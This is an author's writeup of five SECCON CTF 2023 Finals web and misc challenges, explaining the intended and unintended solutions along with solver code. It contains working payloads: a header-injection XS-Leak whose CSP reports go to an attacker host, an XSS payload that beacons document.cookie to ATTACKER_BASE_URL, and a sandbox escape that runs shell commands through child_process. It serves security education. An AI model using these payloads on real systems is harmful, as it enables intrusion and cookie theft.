SECCON CTF 2023 Finals: Author Writeups

Tweet

I wrote 4 web challenges and 1 misc challenge for SECCON CTF 2023 Finals. I hope you enjoyed the CTF and want to read your feedback and writeups.


My challenges:

Challenge Category Intended
Difficulty
Solved / 12
(Internatinal)
Solved / 12
(Domestic)
Keywords
babywaf web warmup 8 4 WAF bypass
cgi-2023 web medium 5 2 XS-Leak, SRI
LemonMD web medium 2 1 Islands Architecture
DOMLeakify web hard 1 0 CSSi on style attributes
whitespace.js misc easy 2 2 JavaScript sandbox

I added the source code and author's solvers to my-ctf-challenges repository.

[web] babywaf

Description:

Do you want a flag? 🚩🚩🚩

  • Challenge: http://babywaf.{int,dom}.seccon.games:3000

babywaf.tar.gz

Overview

If you click a button "Click me!", you can get a flag emoji🚩

There are two services proxy and backend:

1
2
3
4
5
6
7
8
9
10
11
services:
proxy:
build: ./proxy
restart: unless-stopped
ports:
- 3000:3000
backend:
build: ./backend
restart: unless-stopped
environment:
- FLAG=SECCON{dummy}

backend/index.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
const express = require("express");
const fs = require("fs/promises");

const app = express();
const PORT = 3000;

const FLAG = process.env.FLAG ?? console.log("No flag") ?? process.exit(1);

app.use(express.json());

app.post("/", async (req, res) => {
if ("givemeflag" in req.body) {
res.send(FLAG);
} else {
res.status(400).send("πŸ€”");
}
});

app.get("/", async (_req, res) => {
const html = await fs.readFile("index.html");
res.type("html").send(html);
});

app.listen(PORT);

If you can send a JSON containing a key givemeflag (e.g. {"givemeflag": true}) to backend, you will get the flag.

proxy/index.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
const app = require("fastify")();
const PORT = 3000;

app.register(require("@fastify/http-proxy"), {
upstream: "http://backend:3000",
preValidation: async (req, reply) => {
// WAF???
try {
const body =
typeof req.body === "object" ? req.body : JSON.parse(req.body);
if ("givemeflag" in body) {
reply.send("🚩");
}
} catch {}
},
replyOptions: {
rewriteRequestHeaders: (_req, headers) => {
headers["content-type"] = "application/json";
return headers;
},
},
});

app.listen({ port: PORT, host: "0.0.0.0" });

However, the proxy server returns 🚩 when it receives a JSON containing a key givemeflag.

Solution

You should make a JSON that satisfies the following conditions:

  • The backend server, i.e. a JSON parser of Express, recognizes it as a JSON containing a key givemeflag.
  • The proxy server fails to parse it as a JSON value at JSON.parse(req.body).

In conclusion, the following JSON satisfies them where \ufeff is a BOM:

1
\ufeff{"givemeflag": true}

Web frameworks often allow JSON values to be added a BOM at the beginning. For example, Fastify and Express check a BOM at:

It is also mentioned on section 8.1 of RFC 8259:

Implementations MUST NOT add a byte order mark (U+FEFF) to the beginning of a networked-transmitted JSON text. In the interests of interoperability, implementations that parse JSON texts MAY ignore the presence of a byte order mark rather than treating it as an error.

From: https://datatracker.ietf.org/doc/html/rfc8259#section-8.1

On the other hand, JSON.parse does not allow a BOM:

1
2
3
4
> JSON.parse('{"givemeflag": true}')
{ givemeflag: true }
> JSON.parse('\ufeff{"givemeflag": true}')
Uncaught SyntaxError: Unexpected token '', "{"givemef"... is not valid JSON

Solver

1
2
3
4
5
6
7
8
9
10
11
import httpx
import os

BASE_URL = os.environ["WEB_BASE_URL"]

res = httpx.post(
BASE_URL,
headers={"Content-Type": "text/plain"},
content='\ufeff{"givemeflag": true}', # UTF-8 BOM
)
print(res.text)

Unintended solutions

Some teams seemed to solve this challenge using deflate encoding with only ASCII characters. It is also a valid solution.

Flag

1
SECCON{**MAY**_in_rfc8259_8.1}

[web] cgi-2023

Description:

CGI is one of the lost technologies.

  • Challenge: http://cgi-2023.{int,dom}.seccon.games:3000
  • Admin bot: http://cgi-2023.{int,dom}.seccon.games:1337

cgi-2023.tar.gz

Overview

The web server works with Apache HTTP Server.

web/ctf.conf:

1
2
3
4
5
6
7
8
9
10
LoadModule cgid_module modules/mod_cgid.so

ServerName main
Listen 3000

ScriptAliasMatch / /usr/local/apache2/cgi-bin/index.cgi
AddHandler cgi-script .cgi
CGIDScriptTimeout 1

Header always set Content-Security-Policy "default-src 'none';"

It uses CGI and always adds CSP default-src 'none'; to HTTP responses.

The CGI server is written in Go. It's very simple.

web/main.go:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package main

import (
"fmt"
"net/http"
"net/http/cgi"
"strings"
)

func main() {
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
if q := r.URL.Query().Get("q"); q != "" && !strings.Contains(strings.ToLower(q), "status") {
fmt.Print(q)
}

flag, err := r.Cookie("FLAG")
if err != nil {
fmt.Fprint(w, "Hello gophersπŸ‘‹")
} else {
fmt.Fprint(w, flag.Value)
}
})

cgi.Serve(nil)
}

It returns the flag cookie in the response body. If a parameter q exists, it prints the value before fmt.Fprint(w, flag.Value).

The bot implementation is as follows.

bot/bot.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import puppeteer from "puppeteer";

const FLAG = process.env.FLAG ?? console.log("No flag") ?? process.exit(1);

const APP_HOST = "web";
const APP_PORT = "3000";
export const APP_URL = `http://${APP_HOST}:${APP_PORT}`;

if (!/^SECCON{[a-z_]+}$/.test(FLAG) || FLAG.length > 18) {
console.log("Bad flag");
process.exit(1);
}

const sleep = async (msec) =>
new Promise((resolve) => setTimeout(resolve, msec));

export const visit = async (url) => {
console.log(`start: ${url}`);

const browser = await puppeteer.launch({
headless: "new",
executablePath: "/usr/bin/google-chrome-stable",
args: [
"--no-sandbox",
"--disable-dev-shm-usage",
"--disable-gpu",
'--js-flags="--noexpose_wasm"',
],
});

const context = await browser.createIncognitoBrowserContext();

try {
const page = await context.newPage();
await page.setCookie({
name: "FLAG",
value: FLAG,
domain: APP_HOST,
path: "/",
});
await page.goto(url, { timeout: 3 * 1000 });
await sleep(60 * 1000);
await page.close();
} catch (e) {
console.error(e);
}

await context.close();
await browser.close();

console.log(`end: ${url}`);
};

From the implementation, the goal seems to steal the flag cookie with XS-Leak.

Solution

Obviously, you can perform header injection attacks for a parameter q.

If you access the following URL:

1
2
location = "http://localhost:3000?q=" +
encodeURIComponent(`Content-Type: text/html\n\n<h1>Injected</h1>`)

The website will show:

Is there a useful header that could be used for XS-Leaks?

My solution used Content-Security-Policy-Report-Only:

If the following header exists, a CSP error report is sent to the attacker server when the subresource integrity (SRI) check fails for style-src:

1
Content-Security-Policy-Report-Only: style-src 'sha256-...'; report-uri http://attacker.example.com

Now, consider the following URL:

1
2
3
4
5
6
location = "http://localhost:3000?q=" + encodeURIComponent(`
Content-Type: text/html
Content-Length: 74
Content-Security-Policy-Report-Only: style-src 'sha256-sUk0UQj8k0hBY6zv2BrvpRoV2OT8ywX8KXOsunsVi9U='; report-uri http://attacker.example.com

<style>`.trimStart())

where sha256-sUk0UQj8k0hBY6zv2BrvpRoV2OT8ywX8KXOsunsVi9U= is the integrity value of the following string:

1
2
3
4
Status: 200 OK
Content-Type: text/plain; charset=utf-8

SECCON{d

Then, the response body is as follows if the flag cookie is FLAG=SECCON{dummy}:

1
2
3
4
<style>Status: 200 OK
Content-Type: text/plain; charset=utf-8

SECCON{d

The SRI check will succeed, and the CSP error report won't be sent.

If the SRI check fails, the CSP error report will be sent.
Thus, we can use the behavior as an oracle to perform XS-Leaks.

Solver

Here is my full exploit:

Unintended solutions

There were some unintended solutions:

  • Content-Security-Policy-Report-Only + Lazy-loading iframe + Scroll to Text Fragment:
  • Bypassing status checks using %0d:
    • Payload by Paul_Axe from More Smoked Leet Chicken:
      1
      GET /?q=s%0dtatus:103%20Eearly%20Hints%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:text/html%0d%0a%0d%0a%0d%0a<script>alert(1)</script> HTTP/1.1
    • I added a check !strings.Contains(strings.ToLower(q), "status") to prevent solutions with 100 Continue or 103 Early Hints. However, the above solution succeeded to bypass it using %0d😭
  • Content-Security-Policy-Report-Only with 'report-sample' + utf-16 encoding:
    • Payload by maple3142 from ${CyStick}:
      1
      http://web:3000/?q=Content-Security-Policy-Report-Only:%20default-src%20%27report-sample%27%3B%20report-uri%20https://YOUR_SERVER/xx%0aContent-Type:text/html%3Bcharset=utf-16%0a%0a%3C%00s%00t%00y%00l%00e%00%3E%00
    • I knew 'report-sample' technique, but I thought it is invalid for this challenge because it can leak only the first 40 characters. The above solution used utf-16 encoding to increase the number of bytes that can be leaked.

Flag

1
SECCON{leaky_sri}

[web] LemonMD

Description:

πŸ‹πŸ“βœ¨

  • Challenge: http://lemonmd.{int,dom}.seccon.games:3000
  • Admin bot: http://lemonmd.{int,dom}.seccon.games:1337

lemonmd.tar.gz

Overview

This service provides a Markdown editor and shows the preview.

It's implemented with Fresh, which is a web framework for Deno:

Challenge files:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
lemonmd
β”œβ”€β”€ docker-compose.yml
β”œβ”€β”€ bot
β”‚ β”œβ”€β”€ bot.js
β”‚ β”œβ”€β”€ Dockerfile
β”‚ β”œβ”€β”€ index.js
β”‚ β”œβ”€β”€ package-lock.json
β”‚ β”œβ”€β”€ package.json
β”‚ └── public
β”‚ β”œβ”€β”€ index.html
β”‚ └── main.js
└── web
β”œβ”€β”€ deno.json
β”œβ”€β”€ dev.ts
β”œβ”€β”€ Dockerfile
β”œβ”€β”€ fresh.config.ts
β”œβ”€β”€ fresh.gen.ts
β”œβ”€β”€ islands
β”‚ β”œβ”€β”€ Editor.tsx
β”‚ └── Preview.tsx
β”œβ”€β”€ main.ts
β”œβ”€β”€ README.md
β”œβ”€β”€ routes
β”‚ β”œβ”€β”€ [id].tsx
β”‚ β”œβ”€β”€ _app.tsx
β”‚ β”œβ”€β”€ index.tsx
β”‚ └── save.ts
└── utils
β”œβ”€β”€ db.ts
└── redirect.ts

The goal is to get XSS to steal the flag cookie.

Solution

Step 1: Props Manipulation for Islands Architecture

Fresh uses Islands Architecture, and the following article introduces how islands work in Fresh:

A generated client-side script is as follows (formatted):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<script type="module" nonce="7a73a306c5994dcfae243e3c1f5f8a43">
import { deserialize } from "/_frsh/js/1b87d6604d1a2bf10bc74f6b5b3491b0b6bc5272/deserializer.js";
import { signal } from "/_frsh/js/1b87d6604d1a2bf10bc74f6b5b3491b0b6bc5272/signals.js";

const ST = document.getElementById("__FRSH_STATE").textContent;
const STATE = deserialize(ST, signal);

import { revive } from "/_frsh/js/1b87d6604d1a2bf10bc74f6b5b3491b0b6bc5272/main.js";
import editor_default from "/_frsh/js/1b87d6604d1a2bf10bc74f6b5b3491b0b6bc5272/island-editor.js";
import preview_default from "/_frsh/js/1b87d6604d1a2bf10bc74f6b5b3491b0b6bc5272/island-preview.js";

const propsArr = typeof STATE !== "undefined" ? STATE[0] : [];
revive({editor_default:editor_default,preview_default:preview_default,}, propsArr);
</script>

Fresh renders island components according to a JSON value of:

1
document.getElementById("__FRSH_STATE").textContent

So, if users can inject an HTML element with id="__FRSH_STATE", it is possible to manipulate the rendering process and potentially change the behavior of the application.

web/islands/Preview.tsx:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import type { Signal } from "@preact/signals";
import { render } from "$gfm";

interface PreviewProps {
text: Signal<string>;
}

export default function Preview(props: PreviewProps) {
return (
<div
class="markdown-body"
dangerouslySetInnerHTML={{ __html: render(props.text.value) }}
/>
);
}

Preview renders a parameter text as a Markdown content with deno-gfm. The library prevents XSS attacks with sanitize-html, but allows adding id attributes to some HTML elements:

It means that you can manipulate the value of PreviewProps with an HTML element with id="__FRSH_STATE".

For instance, if you input the following Markdown:

1
<h1 id="__FRSH_STATE">{"v":{"0":[{"text":{"_f":"s","v":"Successfully manipulated!"}}]}}</h1>

Fresh recognizes Successfully manipulated! as a value of text and renders it:

Step 2: Prototype Pollution in Deserialization

Next, let's take a dive into the implementation of Fresh.

The source code of deserialize is as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
export function deserialize(
str: string,
signal?: <T>(a: T) => Signal<T>,
): unknown {
/* ...snip... */

const { v, r } = JSON.parse(str, reviver);
const references = (r ?? []) as [string[], ...string[][]][];
for (const [targetPath, ...refPaths] of references) {
const target = targetPath.reduce((o, k) => k === null ? o : o[k], v);
for (const refPath of refPaths) {
if (refPath.length === 0) throw new Error("Invalid reference");
// set the reference to the target object
const parent = refPath.slice(0, -1).reduce(
(o, k) => k === null ? o : o[k],
v,
);
parent[refPath[refPath.length - 1]!] = target;
}
}
return v;
}

There is no check for Prototype Pollution attacks. It means that you are free to pollute anything you want through the props maniplation of Step 1.

For instance, if you input the following Markdown:

1
<h1 id="__FRSH_STATE">{"v":{"bar":"foo"},"r":[[["bar"],["constructor","prototype","polluted"]]]}</h1>

The polluted property is polluted to "foo":

Step 3: Prototype Pollution Gadgets to XSS

The rest work you should do is finding a PP gadget to enable XSS attacks.

My solution used a known PP gadget for sanitize-html:

There seemed to be teams that polluted disableHtmlSanitization as a PP gadget:

Solver

Finally, the following Markdown causes XSS and leaks the flag cookie:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
const text = `<h1 id="__FRSH_STATE">${JSON.stringify({
v: {
0: [
{
text: {
_f: "s",
v: `&lt;img src=0 onerror="navigator.sendBeacon('${ATTACKER_BASE_URL}', document.cookie)"&gt;`,
},
},
],
"*": ["onerror"],
},
r: [[["*"], ["constructor", "prototype", "*"]]],
})}</h1>`;

Here is my full exploit:

Flag

1
SECCON{Do_not_m1x_HTML_injecti0n_and_I5lands_Archit3cture}

[web] DOMLeakify

Description:

NO LEAK, NO LIFE.

  • Challenge: http://domleakify.{int,dom}.seccon.games:3000
  • Admin bot: http://domleakify.{int,dom}.seccon.games:1337

domleakify.tar.gz

Overview

This is a very simple XS-Leak challenge, but the intended difficulty is hard.
The source code is as follows.

web/app.py:

1
2
3
4
5
6
7
8
9
from flask import Flask, request, render_template

app = Flask(__name__)


@app.get("/")
def leakable():
flag = request.cookies.get("FLAG", "SECCON{dummy}")[:18]
return render_template("index.html", flag=flag)

web/templates/index.html:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<!doctype html>
<html>
<head>
<title>DOMLeakify</title>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/purify.min.js"></script>
</head>
<body>
<h1>DOMLeakify</h1>
<div id="content"></div>
<ul>
{% for i in range(flag|length) %}
{% set prefix = flag[:i+1] %}
<li id="{{ prefix }}" class="{{ prefix }}">{{ prefix }}</li>
{% endfor %}
</ul>
<script>
(() => {
const html = decodeURIComponent(location.hash.slice(1));
if (html.length > 512) return;
document.getElementById("content").innerHTML = DOMPurify.sanitize(html, {
FORBID_TAGS: ["style"], // No CSS Injection
FORBID_ATTR: ["loading"], // No lazy loading
});
})();
</script>
</body>
</html>

The goal is to construct an oracle to leak the IDs of the prefixes.

Also, as an important fact, the admin bot works on Firefox:

1
2
3
4
5
6
7
const browser = await firefox.launch({
headless: true,
firefoxUserPrefs: {
"javascript.options.wasm": false,
"javascript.options.baselinejit": false,
},
});

Solution

1
2
3
4
document.getElementById("content").innerHTML = DOMPurify.sanitize(html, {
FORBID_TAGS: ["style"], // No CSS Injection
FORBID_ATTR: ["loading"], // No lazy loading
});

This disallows style elements and loading attributes, which are often used for XS-Leak techniques. What can we do under the condition?

In conclusion, my solution used CSS injection on style attributes.

As far as I know, well-known CSS injection techniques always assume that users can inject content into <style> elements, not style attributes. However, the following approach enables to leak IDs using malicious style attributes.

The most important key of my solution is -moz-element(#id):

This is an experimental CSS function and currently only works on Firefox:

The CSS function renders an image generated from the HTML element whose ID is specified by the argument.

For instance, if you access the following URL on Firefox:

1
http://localhost:3000/#<div style="background-image: -moz-element(#SECCON\7b\64); height: 100px;"></div>

Firefox shows a <div> element that renders a background image generated from the element with id="#SECCON{d":

Next, if you access the following URL on Firefox:

1
http://localhost:3000/#<div style="background-image: -moz-element(#SECCON\7b\64); height: 100px;"></div>

The <div> element does not render any background image because there is no element with id="#SECCON{a":

Can we utilize this difference to construct an oracle? Yes.

Consider the following element:

1
2
3
4
5
6
<div style="
background-image: -moz-element(#SECCON\7b\64);
height: 1000px;
transform: scale(200) translate(50%, 0%);
filter: drop-shadow(8px 8px 8px blue);
"></div>

The style attribute applies graphical effects to the background image:

The process is very heavy. If you increase the values of drop-shadow, Firefox will be busy or crashπŸ’₯

On the other hand, consider the following element:

1
2
3
4
5
6
<div style="
background-image: -moz-element(#SECCON\7b\61);
height: 1000px;
transform: scale(200) translate(50%, 0%);
filter: drop-shadow(8px 8px 8px blue);
"></div>

The <div> element does not render any background image and the rendering process is light:

Okay, it is possible to detect whether the element with a given ID exists or not using typical XS-Leak techniques to judge the busy state of the browser!

Therefore, using the oracle, it is also possible to leak one character of the flag cookie at a time from the beginning.

Solver

In my solver, the function used for the timing attack is like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// https://github.com/arkark/my-ctf-challenges/blob/main/challenges/202312_SECCON_CTF_2023_Finals/web/domleakify/solver/public/main.js#L20-L45

const measure = async (prefix) => {
const hex = [...prefix]
.map((c) => "\\" + c.charCodeAt(0).toString(16).padStart(2, "0"))
.join("");
const url = `${BASE_URL}#${encodeURIComponent(
`<div style="background-image: -moz-element(#${hex}); height: 1000px; transform: scale(200) translate(50%, 0%); filter: drop-shadow(36px 36px 36px blue);"></div>`
)}`;

const ws = [];

ws.push(open(url));
await Promise.all(ws.map((w) => wait(w)));
await sleep(100);

let start = performance.now();
for (let i = 0; i < 3; i++) {
ws.push(open(BASE_URL));
}
await Promise.all(ws.map((w) => wait(w)));
const end = performance.now();

for (const w of ws) {
w.close();
}
return end - start;
};

Here is my full exploit:

Unintended solutions

This challenge was solved only by HK Guesser and the solution was unintended.
However, it was a creative and interesting oracle using autoplay of <video>:

Flag

1
SECCON{attr_cssi}

[misc] whitespace.js

Description:

Don't worry, this is not an esolang challenge.

  • Challenge: http://whitespace-js.{int,dom}.seccon.games:3000

whitespace-js.tar.gz

Overview

This is a JavaScript sandbox challenge.

sandbox/index.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
/* snip */

app.post("/", async (req, res) => {
const { expr } = req.body;

const proc = await execFile("node", ["whitespace.js", expr], {
timeout: 2000,
}).catch((e) => e);

res.send(proc.killed ? "Timeout" : proc.stdout);
});

/* snip */

sandbox/whitespace.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
const WHITESPACE = " ";

const code = [...process.argv[2].trim()].join(WHITESPACE);
if (code.includes("(") || code.includes(")")) {
console.log("Do not call functions :(");
process.exit();
}

try {
console.log(eval(code));
} catch {
console.log("Error");
}

The goal is to get RCE to read a flag file with an unknown name.

Solution & Solver

I expected many creative solutions by CTF players that love JavaScript.
Actually, each team that solved this challenge used a different solution.

My solver is one example of solutions:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import httpx
import os

BASE_URL = os.environ["WEB_BASE_URL"]


def make_str(xs: str) -> str:
ys = []
for x in xs:
if x == "(":
ys.append(f'[][{make_str("toString")}][{make_str("toString")}]``[9+8]')
elif x == ")":
ys.append(f'[][{make_str("toString")}][{make_str("toString")}]``[9+9]')
else:
ys.append(f'"{x}"[1]')
return "+".join(ys)


command = "cat /flag-*.txt"

func_body = f"console.log(global.process.mainModule.require('child_process').execSync('{command}').toString())"

lines = [
# [ ].__proto__.source = "**"
f'[][{make_str("__proto__")}][{make_str("source")}] = {make_str("**")}',

# [ ].__proto__.flags = func_body
f'[][{make_str("__proto__")}][{make_str("flags")}] = {make_str(func_body)}',

# [ ].__proto__.toString = / /.toString
f'[][{make_str("__proto__")}][{make_str("toString")}] = //[{make_str("toString")}]',

# -> [].toString() === `/**/${func_body}`


# Function` `` `
f'[][{make_str("constructor")}][{make_str("constructor")}]````',
]
expr = ";".join(lines)

res = httpx.post(
BASE_URL,
json={
"expr": expr,
},
)
print(res.text)

Flag[1]

1
SECCON{P4querett3_Down_the_Bunburr0ws}

  1. https://store.steampowered.com/app/1628610/ β†©οΈŽ